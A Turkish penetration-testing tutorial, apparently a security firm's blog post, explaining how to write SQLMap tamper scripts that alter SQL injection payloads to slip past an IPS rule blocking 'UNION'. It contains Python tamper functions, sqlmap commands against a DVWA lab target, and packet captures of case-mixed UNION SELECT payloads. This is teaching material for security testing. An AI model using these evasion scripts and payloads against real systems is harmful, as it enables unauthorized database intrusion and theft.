SQL Injection Testlerinde IPS Atlatmak için Tamper Script Kullanımı

Sızma
testlerinde bazı durumlarda bir SQLi zafiyeti tespit edilse dahi istismar(exploitation) işlemi
düşünüldüğü kadar kolay olmayabiliyor. Hedef sistemde kurulu olan IPS’i,  WAF’ı
atlatmak, hedef uygulamanın yapısından dolayı bazı karakterlerden
kaçınmak veya logların analizini zorlaştırmak gibi amaçlarla sqli
payloadınının bazı kısıtlara uyması ya da encode edilmesi istenilebilir. 
SQLMap’in oluşturduğu payloadı hedef sisteme göndermeden hemen önce
üzerinde istenilen değişiklikler tamper betikleri kullanılarak
yapılabilir.

Betik Yapısı

SQLMap’in tamper betiği yapısı üç parçaya bölünebilir.

  1. Kütüphanelerin belirlendiği ve betiğin önceliğinin belirtildiği bölüm.
  2. Eğer varsa harici kütüphaneler gibi bağımlılıkların belirtildiği bölüm.
  3. Payload üzerinde değişiklik yapılan bölüm.

“UNION” İçeren Payloadları Engelleyen Betik

#!/usr/bin/env python



#bölüm 1
from lib.core.enums import PRIORITY



__priority__ = PRIORITY.HIGHEST



#bölüm 2
def dependencies():
   pass



#bölüm 3
def tamper(payload, **kwargs):
       
   if payload and payload.find(“UNION”,0,len(payload)-1) >= 0:
       payload = “”
       
   return payload
Örnekte
de görüldüğü gibi tamper fonksiyonuna payload parametresinden gelen
değeri istenildiği gibi değiştirilip fonksiyondan yeni halini döndürmek
sunucuya gönderilecek payload üzerinde tam hakimiyet sağlamak için
yeterli olacaktır. Tabii bu betik sadece örnek amaçlıdır, UNION
sorguları kullanılmak istenmediğinde –technique parametresiyle
kullanılacak yöntemler belirlenebilir. Kullanılmak istenilen betik
SQLMap’e –tamper paremetresi ile bildirilir.

Payloadları Küçük Harfe Çeviren Betik

Önceki
örnekteki betik üzerinde sadece tamper fonksiyonunda basit bir
değişiklikle sunucuya payloadların küçük harf olarak gönderilmesini
sağlayan yeni bir betik oluşturulabilir.
def tamper(payload, **kwargs):
     
   if payload:
       payload = payload.lower();
       
   return payload

Payloadları Bir Büyük Bir Küçük Harf Formatına Dönüştüren Betik

def tamper(payload, **kwargs):
   
   lower = True    
   retval = “”
   
   if payload:
       for c in payload:
           if c.isalpha():
               if lower:
                   retval += c.lower()
               else:
                   retval += c.upper()
               lower = not lower
           else:
               retval += c
       
   return retval
Betik
payloadın içindeki alfabetik karakterleri isalpha fonksiyonu ile tespit
edip bunları sırayla ya küçük ya da büyük harfe çeviriyor.
sqlmap/tamper dizini altında randomcase.py adında büyük küçük harf
dağılımını rasgele yapan bir betik de mevcut. Yeni betikler yazmadan
önce yine aynı dizindeki betikleri incelemek faydalı olabilir.

ÖRNEK:
Hedef sistemin önünde IPS olmadığı durumda aşağıdaki gibi bir sorgu ile veritabanı sürüm bilgisi alınabilmektedir.
‘ union all select 1,@@VERSION–  
Hedef sistem önündeki IPS devreye alındığında UNION kelimesini gördüğü anda TCP RST paketi göndermektedir. (IPS üzerinde URI’da UNION kelimesini engelleyen basit bir kural olduğu varsayılıyor)
IPS tarafından korunan Web uygulamasındaki SQLi zafiyetini istismar etmek için Sqlmap çalıştırıldığında aşağıdaki gibi hata vermeye başlayacaktır.

 root@bt:/pentest/database/sqlmap# ./sqlmap.py -u “http://1.1.1.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6” –dbms=MySql -p id –batch  –technique U –dbs

    sqlmap/1.0-dev-dea6218 – automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:39:43

[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset ‘ascii’
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter ‘id’ might be injectable (possible DBMS: ‘MySQL’)
[15:39:43] [INFO] testing for SQL injection on GET parameter ‘id’
[15:39:43] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:49] [CRITICAL] unable to connect to the target url or proxy
[15:39:49] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:50] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:51] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request

Görüleceği gibi hedef sistemde UNION ifadesi geçtiğinde istekleri engelleyen bir yapı bulunmaktadır.
TAMPER Script Kullanarak IPS Atlatma
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u “http://31.169.77.59/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie “security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6” –dbms=MySql -p id –batch –tamper “randomcase.py” –technique U –dbs

[*] starting at 15:41:18

[15:41:18] [INFO] loading tamper script ‘randomcase’
[15:41:18] [INFO] testing connection to the target url
[15:41:18] [INFO] heuristics detected web page charset ‘ascii'[15:41:18] [INFO] testing for SQL injection on GET parameter ‘id’
[15:41:18] [INFO] testing ‘MySQL UNION query (NULL) – 1 to 10 columns’
[15:41:23] [INFO] target url appears to be UNION injectable with 1 columns
[[15:41:23] [INFO] target url appears to have 2 columns in query
[15:41:23] [INFO] GET parameter ‘id’ is ‘MySQL UNION query (NULL) – 1 to 10 columns’ injectable
GET parameter ‘id’ is vulnerable.
sqlmap identified the following injection points with a total of 48 HTTP(s) requests:

Place: GET
Parameter: id
    Type: UNION query
    Title: MySQL UNION query (NULL) – 2 columns
    Payload: id=1′ UNION ALL SELECT NULL,CONCAT(0x3a796e743a,0x674757574141436c7953,0x3a63756b3a)#&Submit=Submit

[15:41:23] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:41:23] [INFO] testing MySQL
[15:41:23] [INFO] confirming MySQL
[15:41:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[15:41:24] [INFO] fetching database names
available databases [3]:
[*] dvwa
[*] information_schema
[*] mysql

Bu esnada hedef sistemde tcpdump ile kaydeilmiş trafik dosyası incelenirse isteklerin nasıl gitti rahatlıkla görülebilir.
ngrep -I union_normal.pcap -W Byline -i union
T 85.95.238.172:53007 -> 31.169.77.59:80 [AP]
GET /dvwa/vulnerabilities/sqli/?id=1%29%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23&Submit=Submit HTTP/1.1.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip,deflate.
Host: 31.169.77.59.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
User-Agent: sqlmap/1.0-dev-dea6218 (http://sqlmap.org).
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7.
Connection: close.
Cookie: security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6.
Pragma: no-cache.
Cache-Control: no-cache,no-store.
Tamper script kullanarak gönderilecek istekleri rastgele büyük küçük harfe çevirme işleminden sonra giden isteklerin trafik çıktısı

ngrep -I union_randomcase.pcap -W Byline -i union|more
T 85.95.238.172:52888 -> 31.169.77.59:80 [AP]
GET /dvwa/vulnerabilities/sqli/?id=1%27%20unION%20AlL%20selecT%20NuLL%2CCONcAT%280x3a6d6d763a%2CIFNuLL%28CaSt%28schema_name%20aS%20ChAR%29%2C0x20%29%2C0x3a6271783a%29%20FroM%20INFORMATION_SCHEMA.SCHEMATA%23&Submit=Submit HTTP/1.1.
Accept-Language: en-us,en;q=0.5.
Accept-Encoding: gzip,deflate.
Host: 31.169.77.59.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.
User-Agent: sqlmap/1.0-dev-dea6218 (http://sqlmap.org).
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7.
Connection: close.
Cookie: security=low; PHPSESSID=qt63nmdm2njvfdbg48sv614ml6.
Pragma: no-cache.
Cache-Control: no-cache,no-store.
Örneklerde
de gösterildiği gibi tamper betikleri ile sqli payloadı üzerinde
yapılabilecekler python ile bir string üzerinde yapılabileceklerle
sınırlı(ya da yapılabilecekler kadar sınırsız). Öte yandan geçerli bir
payload üretmek betik yazarının sorumluluğunda.

SQLMap kullanımı için:
http://blog.bga.com.tr/2012/02/sql-injection-saldrlarnda-sqlmap-kullanm.html

http://blog.bga.com.tr/2013/03/szma-testlerinde-ileri-seviye-sqlmap.html

Huzeyfe ÖNAL <huzeyfe.onal@bga.com.tr> – Onur ALANBEL <onur.alanbel@bga.com.tr>